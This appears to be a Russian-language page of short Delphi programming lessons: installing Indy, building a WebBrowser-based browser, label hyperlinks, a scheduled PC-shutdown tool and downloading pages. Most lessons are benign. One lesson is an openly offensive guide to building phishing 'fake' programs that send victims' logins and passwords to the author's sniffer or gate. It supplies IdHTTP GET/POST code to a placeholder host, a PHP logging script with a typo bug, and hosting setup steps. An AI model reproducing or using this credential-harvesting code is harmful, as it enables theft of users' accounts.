Сортировать по:
Дате ·
Названию ·
Рейтингу ·
Комментариям ·
Загрузкам ·
Просмотрам
В этом видеоуроке показано, как в программе можно создать дополнительный поток и выполнять в нём действия, которые выполнять в основном потоке не желательно для юзабилити программы) |
Чтобы Delphi можно было использовать для написания интернет-приложений, нужно установить комплект компонент Indy. Последнюю версию Indy можно скачать с ftp-сервера: ftp://indy.fulgan.com/ZIP. Там же можно взять demo-программы. Распаковываем архив в папку, например, Indy10. Запускаем Delphi. Меню "Tools->Environment Options->Library”. Добавляем в «Library path» 3 пути: 1. "Indy10/Lib/System" 2. "Indy10/Lib/Core" 3. "Indy10/Lib/Protocols" Теперь последовательно открываем и компилируем: пакет "IndySystemX0.dpk” (где X — это версия Delphi) ("Indy10/Lib/System”); пакет "IndyCoreX0.dpk” (где X- это версия Delphi) ("Indy10/Lib/Core”); пакет "IndyProtocolsX0.dpk” (где X — это ваша версия Delphi) ("Indy10/Lib/Protocols"). Далее открываем и устанавливаем: пакет "dclIndyCoreX0.dpk” ("Indy10/Lib/Core”); пакет "dclIndyProtocolsX0.dpk” ("Indy10/Lib/Protocols”). Вот и все, установка свежей версии Indy завершена. |
В этом уроке мы напишем свой интернет браузер на основе Internet Explorer. Нам понадобится ToolBar со вкладки Win32 и WebBrouser на вкладке Internet, кидаем все это на форму и сразу изменим свойство Align на alClient. Далее нам понадобится адресная строка и кнопка перехода, кидаем Edit на ToolBar и добавляем кнопку, кликнув правой кнопкой по ToolBar и выбрав New Button. Располагаем ее вот так: Создаем обработчик события (кликам 2 раза на кнопочку) и пишем код: procedure TForm1.ToolButton1Click(Sender: TObject); begin WebBrowser1.Navigate(Edit1.Text); //Переходим на новую страницу end; Вот загрузилась страница, все отображается правильно, попробуйте открыть какую-нибуть большую, сложную страницу, будет полный кавардак. Дело в том что Delphi7 выпущен в 2002 году и в те времена не было HTML5, CSS3 и прочих новшеств, компонент их не понимает. Самое плохое то, что он не обновляется в новых версиях Delphi. Теперь добавим возможность возврата на предыдущую страницу и вперёд. Добавляем разделитель (New Separator) и 2 кнопочки: В обработчике события первой кнопки пишем: procedure TForm1.ToolButton2Click(Sender: TObject); begin WebBrowser1.GoBack; //Назад end; В обработчике события второй: procedure TForm1.ToolButton3Click(Sender: TObject); begin WebBrowser1.GoForward; //Вперёд end; Ну и добавим кнопочки "Обновить", "Стоп", "Домой". Создадим еще 3 кнопки и 2 разделителя, разместим все вот так: В первой пишем: procedure TForm1.ToolButton4Click(Sender: TObject); begin WebBrowser1.Refresh; //Обновить end; Во второй: procedure TForm1.ToolButton54Click(Sender: TObject); begin WebBrowser1.Stop; //Стоп end; В третьей: procedure TForm1.ToolButton6Click(Sender: TObject); begin WebBrowser1.GoHome; //Домой end; Ну вот и все, этот компонент больше бы подошёл, например для отображения новостного блока в ваших программах, для более глобальных задач больше подойдет новый компонент TChromium, его нет в числе стандартных компонентов, он устанавливается отдельно и работа с ним выходит за рамки данной статьи. Удачи! Встретимся в следующем уроке! |
Delphi Уроки: Гиперссылка из Label на Раз, Два, Три Не знаю почему, но у многих новичков возникает вопрос о том: как создать гиперссылку в своей программе ! Поэтому с целью уменьшить количество таких вопросов я создал этот урок. Ну что ж давайте начинать: 1. Открываем Delphi, создаем новый проект на форму кидаем компонент, label с закладки standard. Сразу же давайте изменим у него цвет и размер шрифта. Делается это все в свойстве Font. Цвет я поставил синий, а шрифт сделал жирным, далее в свойстве Cursor компонента Label выберите crHandPoint Делается это для того что бы при наведении на ссылку курсор приобретал форму пальчика. 2. Так теперь нам нужно указать Адрес Web ресурса на который будет попадать пользователь при клике по ссылке. Адрес будем указывать в свойстве Hint компонента Label. Т.Е прописываем там например http://www.stex.at.ua ![]() 3. Все предварительная подготовка завершена. Сейчас в верху, после ключевого слова uses допишите SHELLAPI, теперь выделяем компонент Label и создаем на нем обработчик событий OnClick. Полный код того что должно находиться в обработчике представлен ниже, допишите к себе недостающие строки. procedure TForm1.Label1Click(Sender: TObject); begin If (Sender is TLabel) then with (Sender as Tlabel) do ShellExecute(Application.Handle,PChar('open'), PChar(Hint), PChar(0), nil, SW_NORMAL); end; |
procedure TForm1.FormCreate(Sender: TObject); begin if AlphaBlend = False then begin AlphaBlendValue := 155; AlphaBlend := True; Application.ProcessMessages; end; end; |
В этом уроке мы создадим программу под названием "Бубильник", она будет выключать наш компьютер по расписанию. Определимся со свойствами, свойство Kind у DateTimePicker установим в dtkTime, и свойство Enabled у Timer выставляем в False. Для выключения компьютера служит функция ExitWindowsEx();, но если её написать вот так просто, то ничего не произойдет, она так работала только в Windows98, в более современных системах она работает только когда есть особые привилегия у использующей её программы. Как сделать эти привилегия мы сейчас и узнаем. Для начала создадим процедуру выключения, в разделе Private Form1 объявим процедуру: ... private { Private declarations } Procedure PowerOFF; ... Нажмем комбинацию клавиш Shift + Ctrl + C и Delphi сам создаст шаблон для процедуры, его нужно наполнить кодом: procedure TForm1.PowerOFF; var TTokenHd: THandle; TTokenPvg: TTokenPrivileges; cbtpPrevious: DWORD; rTTokenPvg: TTokenPrivileges; pcbtpPreviousRequired: DWORD; tpResult: Boolean; const SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; begin //=========== Получаем привилегии ==============// begin if Win32Platform = VER_PLATFORM_WIN32_NT then begin tpResult := OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHd); if tpResult then begin tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME, TTokenPvg.Privileges[0].Luid); TTokenPvg.PrivilegeCount := 1; TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; cbtpPrevious := SizeOf(rTTokenPvg); pcbtpPreviousRequired := 0; if tpResult then Windows.AdjustTokenPrivileges(TTokenHd, False, TTokenPvg, cbtpPrevious, rTTokenPvg, pcbtpPreviousRequired); end; end; //=============================================// ExitWindowsEx(EWX_SHUTDOWN or EWX_POWEROFF, 0); //Выключаем компьютер; end; Все процедура выключения готова, получилась она довольно громадной, зато везде работает. Теперь займемся таймером, создаем его обработчик события и пишем код: procedure TForm1.Timer1Timer(Sender: TObject); var a,b: String; begin Label3.Caption:= TimeToStr(GetTime); //Получаем текущее время Label4.Caption:= TimeToStr(DateTimePicker1.Time - GetTime); //Вычисляем сколько времени осталось до выключения a:= TimeToStr(GetTime); //Присваиваем текущее время b:= TimeToStr(DateTimePicker1.Time); //Присваиваем время выключения if a = b then //Если текущее время равно времени выключения то PowerOFF; //выполняем процедуру выключения end; Помните в начале урока мы выключили таймер, сделано это для того, чтобы можно было сначала настроить время а потом запустить таймер. Давайте сделаем управление таймером. Создадим обработчик события OnClick на кнопке "Старт": procedure TForm1.Button2Click(Sender: TObject); begin Timer1.Enabled:=True; //Включаем таймер end; Ну и также выключим ,если например ошиблись во времени или передумали, в обработчике на кнопке "Стоп": procedure TForm1.Button1Click(Sender: TObject); begin Timer1.Enabled:=False; end; |
procedure TForm1.Button1Click(Sender: TObject); const s='abcdefghijklmnopqrstuvwxyz'; var i:integer; begin for i:=1 TO 10 DO edit1.Text:=edit1.Text+s[random(length(s)+1)+1]; end; |
Обычно, "для удобства" люди пишут фейки с отправкой на мыло, в ICQ, на FTP, но не все знают (хотя некоторые знают но забивают на это) что ваши авторизационные данные (логины пароли от FTP, мыла или ICQ) могут быть легко перехвачены и соответственно аккаунты могут быть угнаны. Во избежание этого я рекомендую использовать отправку на сниффер или гейт. В этой статье я опишу, как можно реализовать отправку данных на гейт или сниффер. Отправка на сниффер. Наверное, самый простой способ отправки и не раз описывался, но я его не буду пропускать. Кладём на форму 2 Edit'a, 1 кнопку и IDhttp (из вкладки Indy Clients). Кликаем дважды на кнопку и пишем код: Код : idhttp1.Get('http://ваш_сниффер?Login='+edit1.text+' |Pass='+edit2.text);Сниффер можно использовать Для просмотра внешних ссылок необходимо зарегистрироваться (и подтвердить мыло) либо авторизоваться. или установить себе на хост Для просмотра внешних ссылок необходимо зарегистрироваться (и подтвердить мыло) либо авторизоваться.. Минусы местного сниффера - 30 логов максимум. В сниффере от каника - бесконечное кол-во логов и другие няшки. Как установить? Регаем себе хост на holm.ru или на wt8.ru (пойдёт любой бесплатный хостинг с поддержкой php и FTP). Скачиваем FTP клиент FileZilla, входим с логином и пассом от нашего хоста (должны прийти по почте или в панели управления найдутся). Заливаем файлы из архива в корень (или в поддиректорию, без разницы) и настраиваем сниффер под себя (читаем readme.txt из архива). Всё, переходим на главную старницу нашего хоста (если заливали в корень) или в поддиректорию. Отправка на гейт. Более сложный процесс, для этого нам понадобится хостинг с поддержкой FTP и PHP, как создать его - читайте выше. Создали? Идём дальше. Создаём файл с именем save.php и следующим содержанием: PHP код: $data = $_GET['content']; $filename = "log.txt"; if ( is_writeable($filename) ) : $fh = fopen($filename, "a+"); $success - fwrite($fh, $data); fclose($fh); else : print "Could not open Sfilename for writing"; endif; ?> Заливаем файл на ваш хост вместе с файлом log.txt (обязательно!). Выставляем права 777 на log.txt и save.php. Обратите внимание на выделенное мною слово GET, тут будут 2 пути - либо передача данных к скрипту методом GET или методом POST. Что выбрать - дело ваше, но настройка для этих типов разная. Если выбрали метод GET - оставляем скрипт без изменений, если POST - меняем выделенное слово GET на POST соответственно. Коды обработчиков событий клика для кнопки для этих методов тоже разные. Код для метода GET: Код : idhttp1.get('http://ваш_хост/save.php?content=Login='+edit1.text+'|Pass='+edit2.text); Код для метода POST: Код : var data:tstringlist; begin data:= tstringlist.Create; data.Add('content= Login='+edit1.text+' |Pass='+edit2.text); idhttp1.Post('http://ваш_хост/save.php',data); data.Free; Как вы поняли, в var необходимо добавить описание переменной data. Всё! После того, как жертва вводит свой логин и пароль в ваши поля в программе, все данные записываются в файл log.txt. Плюсы и минусы передачи данных методом GET: +Короткий код обработчика события клика в Delphi +Схожесть с использованием сниффера -Невозможно использовать пробелы в запросе Плюсы и минусы передачи данных методом POST: +Возможно использовать пробелы +Более удобный и хороший способ (ИМХО) -Больший код обработчика клика в Delphi |
procedure TForm1.Button1Click(Sender: TObject); var url, page : string; begin url:='http://www.stex.at.ua'; page:=IdHTTP1.get(url); //скачиваем код страницы Memo1.text:=page; end; |
Кидаем на форму кнопку, Добавляем oneclick и между begin и end пропишем этот код: Код; if Form1.ClientHeight=190 then Form1.ClientHeight:=306 else Form1.ClientHeight:=190; |
1-10 11-15